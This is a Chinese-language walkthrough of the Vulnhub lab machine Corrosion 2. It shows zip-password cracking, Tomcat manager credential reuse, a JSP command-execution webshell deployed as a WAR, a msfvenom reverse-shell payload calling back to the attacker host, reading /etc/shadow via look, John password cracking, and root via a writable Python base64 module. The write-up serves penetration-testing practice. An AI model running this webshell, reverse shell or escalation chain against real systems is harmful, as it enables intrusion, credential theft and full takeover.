Vulnhub靶机：Corrosion 2

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：corrosion:2（10.0.2.13）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/corrosion-2,745/

二、信息收集

使用nmap主机发现靶机ip10.0.2.13

使用nmap端口扫描发现靶机开放端口：22、80、8080

80端口：打开是一个apache2的默认页面，查看源码和目录爆破都没有发现可利用的点

8080端口：打开网站是tomcat后台登录页面，tomcat版本为9.0.53，使用dirsearch进行目录爆破，发现存在backup.zip备份文件和readme.txt文件

将备份文件下载，进行解压，发现需要密码。使用fcrackzip工具进行暴力破解，得到密码：@administrator_hi5

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip 

将备份文件解压，在tomcat-users.xml文件里发现tomcat后台的用户名和密码

三、漏洞利用

登录到后台后可以通过部署war包进行getshell，将war包上传，部署，可以看到应用列表已经出现了我们的目录

# cmd.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

#生成war包
jar cvf cmd.war cmd.jsp

访问一下/cmd/目录会返回404，但直接访问/cmd/cmd.jsp可以访问成功，执行命令id返回命令执行结果

http://10.0.2.13:8080/cmd/cmd.jsp?pwd=023&i=id

反弹shell，尝试过很多方法都失败了，怀疑是不是木马的问题，这次使用msfvenom生成war木马反弹shell，反弹成功

msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.15" LPORT=4444 -f war > cmdmsf.war                

使用python获取交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

四、提权

查看具有root权限的文件，发现policykit-1/polkit-agent-helper-1，可以使用经典的本地提权漏洞cve-2021-4034，但发现靶机没有gcc环境，尝试在本地进行编译，再上传到靶机进行执行，但总是出现各种各样的问题，放弃。

find / -perm -u=s -type f 2>/dev/null

查看/etc/passwd 中可存在的用户，发现jaye和randy用户

cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/sh"

尝试一下切换成 jaye 用户，密码还是用刚才发现的 Tomcat 密码

在/home/randy文件夹下发现note.txt文件，文件里说更改了 randy 对主目录的权限，不能进行删除和添加

在/home/jaye/Flies目录下，存在look文件，是系统的look命令，look命令可以越权访问

LFILE=file_to_read
./look '' "$LFILE"

将/etc/shadow文件和/etc/passwd文件复制下来，保存到本地，使用unshadow命令创建1个含有用户名和密码详细信息的文件

unshadow passwd shadow > pass.txt

john the ripper是一款本地密码破解工具，可以从我们上面生成的shadow文件（密码散列）中破解出密码。破解时间取决于密码的复杂程度以及破解模式。使用john工具进行破解。爆出来两个用户：jaye\melehifokivai 、randy\07051986randy

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

使用randy的用户密码登录ssh

使用命令sudo -l查看可以执行的root权限的命令

/usr/bin/python3.8 /home/randy/randombase64.py

查看randombase64.py文件的内容，发现该文件调用了base64模块，并且尝试修改该文件，发现没有修改权限

想到调用了base64模块，是不是可以修改base64模块来达到提权的目的。在/usr/lib/python3.8目录下，发现base64模块，该模块可编辑

修改base64模块

执行命令运行randombase64.py，获取root权限

获取flag

参考链接：Vulnhub 靶场 CORROSION: 2 - sainet - 博客园 (cnblogs.com)